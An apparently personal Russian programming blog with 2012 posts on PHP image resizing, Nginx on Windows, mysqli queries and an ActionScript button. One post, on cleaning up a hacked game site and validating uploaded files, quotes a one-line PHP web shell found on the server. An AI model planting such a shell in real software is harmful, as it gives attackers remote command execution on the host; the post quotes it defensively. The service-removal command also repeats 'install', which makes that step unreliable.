понедельник, 29 октября 2012 г.

Расчёт при ресайзе изображения

Сегодня я хотел бы поделиться функцией, которую использую всегда, когда мне надо изменить размеры картинки. Эта функция позволяет с сохранением пропорции, либо вписать изображение в заданный прямоугольник, либо изменить какое-то одно измерение (длинну, ширину) до указанного.
function resizeProp($in_w, $in_h, $out_w, $out_h, $inlay = true)
{
    if (    (!$inlay AND
                (  ($in_h > $in_w
                    AND ($in_h / $in_w) < ($out_h / $out_w))
                OR
                    ($in_w > $in_h
                    AND ($in_w / $in_h) > ($out_w / $out_h))
                ))
            OR
            ($inlay AND
                (   ($in_h > $in_w
                    AND ($in_h / $in_w) > ($out_h / $out_w))
                OR
                    ($in_w > $in_h
                    AND ($in_w / $in_h) < ($out_w / $out_h))))
        )
    {
        $height = $out_h;
        $width = ($in_w / $in_h) * $height;
 
    } else {
 
        $width = $out_w;
        $height = ($in_h / $in_w) * $width;
    }
 
    return array('w' => round($width), 'h' => round($height));
}
$in_w, $in_h - размеры изображения (размер на входе).
Параметр $inlay - указывает на необходимость вписать изображение в прямоугольник с размерами: $out_w, $out_h (размер на выходе).  В противном случае ($inlay = false), прямоугольник будет вписан в изображение.

Сложное условие в "if" определяет какое из измерений можно просто привести к нужному, второе измерение уже вычисляется используя исходную пропорцию.

понедельник, 22 октября 2012 г.

Nginx, PHP под Windows и запрет доступа

При работе с проектом, упоминавшемся в предыдущей статье, для меня имелась дополнительная трудность: веб сервером был Nginx (pronounced "engine x").

Чтобы не тестировать настройки а рабочем сервере, я решил установить тестовую версию на рабочем компьютере (Windows XP / Windows 7).

Конфигурация Nginx хорошо описана, но как запускать (не в окне cmd) сервер и PHP я не сразу разобрался.

А запускать (и nginx.exe и php.exe) можно в качестве Windows-сервиса, используя программу winsw. Тут описана конфигурация: https://github.com/kohsuke/winsw/wiki.

Для каждого сервиса нужна отдельная копия программы и файл конфигурации. Пример для PHP процесса:
<service>
    <id>php_cgi</id>
    <name>php_cgi</name>
    <description>PHP cgi</description>
    <executable>C:\webserver\php54\php-cgi.exe</executable>
    <logpath>C:\webserver\php54\winsw</logpath>
    <logmode>roll</logmode>
    <depend></depend>
    <startargument>-b127.0.0.1:9000</startargument>
    <stop>taskkill /f /IM php-cgi.exe</stop>
</service>
Пример для Nginx:
<service>
    <id>nginx_serv</id>
    <name>nginx_serv</name>
    <description>nginx server</description>
    <executable>C:/webserver/nginx-1.3.7/nginx.exe</executable>
    <logpath>C:/webserver/nginx-1.3.7/winsw</logpath>
    <logmode>roll</logmode>
    <depend></depend>
    <startargument>-pC:/webserver/nginx-1.3.7</startargument>
    <stopargument>-pC:/webserver/nginx-1.3.7 -s stop
        </stopargument>
</service>
Установка сервиса:

C:\webserver\nginx-1.3.7\winsw\winsw-1.11-bin.exe install

Удаление (сервис не удалится, пока не будет остановлен):

C:\webserver\nginx-1.3.7\winsw\winsw-1.11-bin.exe install

После того, как установлен тестовый сервер, моим главным вопросом, было: как запретить доступ к определённым папкам сайта? Файлы .htaccess тут не работают и всю конфиграцию нужно прописывать в основном конфиге вэб-сервера.

Запрет на папку выглядит так:
server {
    <...>
 
    location /logs {
        deny all;
    }
 
    <...>
}
И дополнительно - бан по IP:
server {
    <...>
 
    deny 88.444.88.444;
 
    <...>
}

вторник, 16 октября 2012 г.

Проверка загружаемых файлов


Сейчас мне пришлось работать с одним из клонов известного Бойцовского клуба. Игра была взломана. Злоумышленник авторизуется под персонажами глав администрации и делает что хочет.

Основная проблема в грубом нарушении разработчиками правил безопасности при проверке получаемых от пользователя данных. Местами проверок вообще нет.

На данный момент я прохожу по основным скриптам, экранируя переменные получаемые извне. Также были удалены скрипты позволяющие скачать базу, просмотреть содержимое папок и информацию о сервере. Как они были залиты я ещё не выяснил.

Интересно, что один из хакерских скриптов был обнаружен моим антивирусом. При этом сам скрипт выглядел следующим образом:
// <несколько переменных>
preg_replace("/.*/e",
 "<мешанина символов на несколько десятков строк>");
Но в первую очередь на глаза мне попались странные файлы в корне сайта с названиями «config.php.gif», помимо прочего содержащие следующую строку:
<?php system(urldecode($_GET['q'])); ?>
Хоть этот вариант атаки и не сработал, благодаря тому что при загрузке изображений файлам принудительно присоединялось расширение «.gif», я хочу написать о проверке загружаемых файлов.

В моём случае обработка загружаемого изображения состояла из:
  • проверки расширения,
  • проверки mime типа при помощи getimagesize
  • принудительной установки расширения .gif.

По-моему правильнее было бы сделать следующим образом:
define('MAX_FILE_NAME_LEN', 250);
define('DEST_FOLDER', 'd:/htdocs/test/');
 
$img_file = $_FILES['file']['tmp_name'];
 
/*
[ проверка кода ошибки $_FILES['file']['error'] ]
*/
 
// Получение mime-типа
$img_info = getimagesize($img_file);
 
// Проверка на соответствие типу
// правильнее иметь список разрешённых типов, а не наоборот
switch ($img_info['mime'])
{
    case 'image/gif':
 
        $img_res = imagecreatefromgif($img_file);
        $file_ext = '.gif';
        break;
 
    case 'image/jpeg':
 
        $img_res = imagecreatefromjpeg($img_file);
        $file_ext = '.jpg';
        break;
 
    default:
 
        trigger_error('Unknown type "'. $img_info['mime'] .'"!',
            E_USER_ERROR);
        exit;
}
 
if ($img_res === false)
{
    trigger_error('File is not valid!', E_USER_ERROR);
    exit;
}
 
// Проверяем имя файла
$dot_pos    = strrpos($_FILES['file']['name'], '.');
$name_chunk = substr($_FILES['file']['name'], 0, $dot_pos);
 
$name_chunk = substr($_FILES['file']['name'], 0,
    MAX_FILE_NAME_LEN);
$name_chunk = preg_replace('/[^\d_.a-z]/i', '', $name_chunk);
 
if (!strlen($name_chunk))
    $name_chunk = time();
 
// Избегаем перезаписывания файлов
$img_name = $name_chunk . $file_ext;
 
if (file_exists(DEST_FOLDER . $img_name))
{
    for ($i = 1;
        file_exists(DEST_FOLDER . $name_chunk . '_' . $i .
        $file_ext); $i++);
 
    $img_name = $name_chunk . '_' . $i . $file_ext;
}
 
// This function checks to ensure that the file designated by
// filename is a valid upload file (meaning that it was uploaded
// via PHP's HTTP POST upload mechanism).
move_uploaded_file($_FILES['file']['tmp_name'],
    DEST_FOLDER . $img_name);
Дополнительно можно разумно ограничить минимальный и максимальный размер файла.

Помимо самого файла, нужно обезопасить директорию назначения, и снять с неё права на выполнение:
chmod a-x /dir/path
PS: а ещё я сегодня получил права :)

понедельник, 8 октября 2012 г.

PHP расширение mysqli - множественные запросы



Помимо выполнения одного запроса за раз, MySQL и расширение mysqli предоставляет возможность выполнения множества запросов одной строкой. При этом можно получить выгоду в скорости за счёт передачи данных.

Для реализации этой возможности mysqli предоставляет метод multi_query(), который в качестве параметра принимает строку запросов, разделённых символом «;». Длинна строки ограничена количеством байт указанными директивой MySQL max_allowed_packet.

mysql> SHOW VARIABLES LIKE 'max_allowed_packet';
+--------------------+---------+
| Variable_name      | Value   |
+--------------------+---------+
| max_allowed_packet | 1048576 |
+--------------------+---------+
1 row in set (0.13 sec)

После отправки запроса, необходимо выбрать все результаты (даже если запросы не возвращают результатов). В противном случае при новых запросах получим ошибку «Error: Commands out of sync; you can't run this command now». При этом результат первого запроса выбирается автоматически.

Для выборки результатов можно использовать, например, следующий код:
do
{
    $result = $mysqli->store_result();
 
    if (is_object($result))
    {
        while ($row = $result->fetch_assoc())
        {
            print_r($row);
            echo '<br />';
        }
 
        $result->free();
    }
 
    echo '----<br />';
    break;
}
while ($mysqli->more_results() AND $mysqli->next_result());
В отличии от метода query(), метод для множественных запросов multi_query() подвержен SQL-инъекциям. Поэтому применять его нужно с осторожностью.

Метод next_result() возвращает false в случае, когда закончились результаты и когда запрос вернул ошибку. Поэтому на ошибку нужно проверять и после оконачания цикла выборки.
$mysqli = new mysqli('localhost', 'user', 'pass', 'test');
 
$mysqli->multi_query('  SELECT * FROM `test`;
    INSERT INT `test` (`value`) VALUES ("value");') OR
    exit('Error: (' . $mysqli->errno . ') ' . $mysqli->error);
 
do
{
    $result = $mysqli->store_result();
 
    if (is_object($result))
    {
        while ($row = $result->fetch_assoc())
        {
            print_r($row);
            echo '<br />';
        }
 
        $result->free();
    }
 
    echo '----<br />';
    break;
}
while ($mysqli->more_results() AND $mysqli->next_result());
 
if ($mysqli->errno)
{
    exit('Error: (' . $mysqli->errno . ') ' . $mysqli->error);
}
 
$mysqli->close();

понедельник, 1 октября 2012 г.

AS 3.0 - простая кнопка

Создание кнопки при помощи графических средств Adobe Flash – это дело нескольких кликов, но когда мне понадобилось сделать тоже самое в чистом ActionScript, то я встал в тупик. Правда ненадолго.

Предлагаю вашему вниманию класс кнопки с текстом и, естественно, действием на клик.

package ui 
{
    import flash.display.Shape;
    import flash.display.SimpleButton;
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.text.TextField;
    import flash.text.TextFormat;
    import flash.text.TextFieldAutoSize;
    import flash.events.MouseEvent;
 
    public class Button extends Sprite
    {
        private var button_obj : SimpleButton;
        private var _label : String;
        private var _width : uint   = 100;
        private var _height : uint  = 30;
 
        private var upColor : uint      = 0xC0C0C0;
        private var overColor : uint    = 0xE2E2E2;
        private var downColor : uint    = 0xFFFFFF;
 
        private var _handler : Function;
 
 
        public function set click(handler : Function) : void
        {
            _handler = handler;
            addEventListener(MouseEvent.CLICK, clickHandler);
        }
 
        private function clickHandler(e : MouseEvent) : void
        {
            _handler();
        }
 
        public function Button( width : uint = 0,
                                height : uint = 0,
                                label : String = '')
        {
            _label = label;
 
            if (width > 0)
                _width = width
 
            if (height > 0)
                _height = height
 
            button_obj = new SimpleButton;
 
            button_obj.downState =
                stateObject(downColor, _width, _height);
 
            button_obj.overState =
                stateObject(overColor, _width, _height);
 
            button_obj.upState =
                stateObject(upColor, _width, _height);
 
            button_obj.hitTestState =
                stateObject(upColor, _width, _height);
 
            button_obj.useHandCursor = true;
 
            addChild(button_obj);
 
            var text_label : TextField = createLabel();
 
            text_label.x = Math.round(width * 0.5
                        - text_label.width * 0.5);
 
            text_label.y = Math.round(height * 0.5
                        - text_label.height * 0.5);
 
            addChild(text_label);
        }
 
        private function stateObject(   color : uint,
                                        width : uint,
                                        height : uint) : Shape
        {
            var shape : Shape = new Shape;
 
            shape.graphics.beginFill(color);
            shape.graphics.drawRect(0, 0, width, height);
            shape.graphics.endFill();
 
            return shape;
        }
 
        private function createLabel() : TextField
        {
            var format : TextFormat =
                new TextFormat('_sans', 11);
 
            var text_label : TextField  = new TextField();
 
            text_label.selectable   = false;
            text_label.mouseEnabled = false;
            text_label.autoSize     = TextFieldAutoSize.LEFT;
            text_label.defaultTextFormat = format;
            text_label.text         = _label;
 
            return text_label;
        }
    }
}

По сути это класс SimpleButton, с присоединённым текстом, который выравнен по центру. Использовать его можно, например, так:
// button Hello
var butt_hello : Button = new Button(100, 30, 'Hello');
 
butt_hello.x = 10;
butt_hello.y = 210;
 
butt_hello.click = function () : void { trace('Hello!') };

понедельник, 24 сентября 2012 г.

PHP расширение mysqli - хранимые процедуры



Хранимая процедура — это SQL-процедура расположенная в базе данных. От функции она отличается тем, что:
  1. процедура не возвращает значения, но может изменять свои параметры;
  2. процедура может возвращать множество строк результата (но не через параметр, а в результате SELECT-запросов в теле процедуры).
Хранимые процедуры (и функции) могут быть полезны в следующих случаях:
  1. Если есть какой-то набор действий, который нужно выполнять одинаково с разных клиентов. Да даже и на одном клиенте иногда надёжнее создать sql-программу. Например если при изменении счёта пользователя нужно также отредактировать поля «приход», «уход» и дополнительно сделать запись в соответствующую действию таблицу транзакций.
  2. Если безопасность на первом месте. Вся работа с базой данных может быть организована через процедуры и функции, при этом доступ к таблицам БД может быть закрыт.
Для кода примеров я использовал следующую процедуру:
delimiter #
 
DROP PROCEDURE IF EXISTS EXEC#
 
CREATE PROCEDURE EXEC(OUT msg VARCHAR(50))
BEGIN
 
    SET msg = "zzz";
    SELECT * FROM `test` LIMIT 5;
 
END;#
 
delimiter ;
Вызов процедуры выглядит следующим образом:
$mysqli = new mysqli('host', 'user', 'pass', 'database');
$result = $mysqli->query('CALL exec(@msg)') OR
    exit('Error: (' . $mysqli->errno . ') ' . $mysqli->error);
@msg – это выходной параметр, который в результате выполнения процедуры получает значение «zzz». Выбор результата SELECT-запроса из процедуры происходит также, как и с обычным запросом:
while ($row = $result->fetch_assoc())
{
    print_r($row);
    echo '<br />';
}
 
$result->free();
Но чтобы выбрать результаты других SELECT-запросов из тела процедуры (а также выходных параметров) или выполнить какой-либо другой запрос (не связанный с процедурой), необходимо выбрать все результаты подготовленные БД:
$mysqli->next_result();
$result = $mysqli->store_result();
Теперь можно получить значение переменной:
$result = $mysqli->query('SELECT @msg') OR
    exit('Error: (' . $mysqli->errno . ') ' . $mysqli->error);
 
$row = $result->fetch_assoc();
 
$result->free();
$mysqli->close();

С хранимыми процедурами можно также использовать подготовленные выражения:
$mysqli = new mysqli('host', 'user', 'pass', 'database');
 
$stmt = $mysqli->prepare('CALL exec(@msg)') OR
    exit('Prepare failed: (' . $mysqli->errno . ') ' . $mysqli->error);
 
$stmt->execute() OR
    exit('Execute failed: (' . $mysqli->errno . ') ' . $mysqli->error);
 
while ($stmt->more_results())
{
    $result = $stmt->get_result();
 
    if (is_object($result))
    {
        while ($row = $result->fetch_assoc())
        {
            print_r($row);
            echo '<br />';
        }
 
        $result->free();
    }
 
    $stmt->next_result();
}
 
$result = $mysqli->query('SELECT @msg') OR
    exit('Error: (' . $mysqli->errno . ') ' . $mysqli->error);
 
$row = $result->fetch_assoc();
print_r($row);
echo '<br />';
 
$mysqli->close();
Можно даже привязывать результаты запросов:
while ($stmt->more_results())
{
    $col_a = $col_b = 0;
 
    $stmt->bind_result($col_a, $col_b);
 
    while ($stmt->fetch())
    {
        echo 'col_a = ' . $col_a . '; ';
        echo 'col_b = ' . $col_b . '<br />';
    }
 
    $stmt->next_result();
}
Но вот привязать перменную к параметру процедуры у меня не получилось ни к входному, ни к выходному.

понедельник, 17 сентября 2012 г.

PHP расширение mysqli - подготовленные выражения



Подготовленное выражение (ПВ) — это выражение (SQL-запрос) с параметрами используемое для многократного выполнения с высокой эффективностью. При этом эффективность проявляется в ситуации когда запрос нужно выполнять более одного раза.

MySQL сервер поддерживает интерфейс к ПВ на уровне SQL. Но, согласно, документации этот вариант менее эффективен, чем использование специализированного интерфейса (mysqli в случае с PHP).

В mysqli выполнение ПВ состоит из двух пунктов: подготовка и выполнение. При подготовке SQL-выражение, с маркерами в виде знаков вопроса, куда будут подставляться значения, отправляется серверу БД. Сервер проверяет синтаксис и инициализируется:
$stmt = $mysqli->prepare('INSERT INTO `test` (`id`) VALUES (?)')
    OR exit('Prepare failed: (' . $mysqli->errno . ') ' .
    $mysqli->error);
При вызове метода prepare(), создаётся объект класса mysqli_stmt, представляющий собой подготовленное выражение.

На стадии выполнения клиент привязывает значения к параметрам и отправляет их серверу БД. Сервер уже выполняет SQL-запрос с подставленными параметрами:
$id  = 1;
$val = 'value';
 
$stmt->bind_param('is', $id, $val)
    OR exit('Binding failed: (' . $stmt->errno . ') ' .
    $stmt->error);
 
$stmt->execute()
    OR exit('Execute failed: (' . $stmt->errno . ') ' .
    $stmt->error);
При этом метод bind_param() принимает минимум два параметра. Первый указывает на типы передаваемых значений всех остальных параметров, по одному символу на параметр:
  • i - integer
  • d - double
  • s - string
  • b – blob (двоичные строки)
Остальные параметры bind_param() передаются по ссылке и привязывают переменную PHP к маркеру в запросе (в порядке очереди). При этом специальные символы будут экранированы сервером БД. Отправка параметра происходит только при выполнении метода execute().

Помимо параметров, можно также привязывать PHP переменные к результатам запроса:
$stmt = $mysqli->prepare('SELECT `id`, `value` FROM `test` WHERE `id` = "1"')
    OR exit('Prepare failed: (' . $mysqli->errno . ') ' .
    $mysqli->error);
 
$stmt->execute()
    OR exit('Execute failed: (' . $stmt->errno . ') ' .
    $stmt->error);
 
$stmt->bind_result($col1, $col2)
    OR exit('Binding results failed: (' . $stmt->errno . ') ' .
    $stmt->error);
 
while ($stmt->fetch())
{
    echo 'col1 = "' . $col1 . '"; col2 = "' . $col2 . '"<br />';
}
Подготовленное выражение может быть использовано многократно, при этом выражение не пересылается серверу БД и не проверяется повторно:
$stmt = $mysqli->prepare('INSERT INTO `test` (`id`, `value`) VALUES (?, ?)')
    OR exit('Prepare failed: (' . $mysqli->errno . ') ' .
    $mysqli->error);
 
$id    = 0;
$value = '';
 
$stmt->bind_param('is', $id, $value)
    OR exit('Binding failed: (' . $stmt->errno . ') ' .
    $stmt->error);
 
for ($id = 1; $id < 5; $id++)
{
    $value = 'val ' . $id;
 
    $stmt->execute()
        OR exit('Execute failed: (' . $stmt->errno . ') ' .
        $stmt->error);
}
Каждое ПВ занимает ресурсы сервера, поэтому после использования их необходимо закрывать.
$stmt->close();
В заключение простой тест для сравнения ПВ с традиционными запросами в mysqli. Время замерялось с помощью функции microtime() от создания объекта до закрытия соединения. В тесте запускалось по 1000 запросов:
INSERT INTO `test` (`id`, `value`) VALUES (?, ?)
Результат следующий:

ПВ
13.664777994156
13.61216211319
13.906296014786
13.861138105392

обычный подход
15.933166027069
16.207018136978
16.945013999939
17.206493139267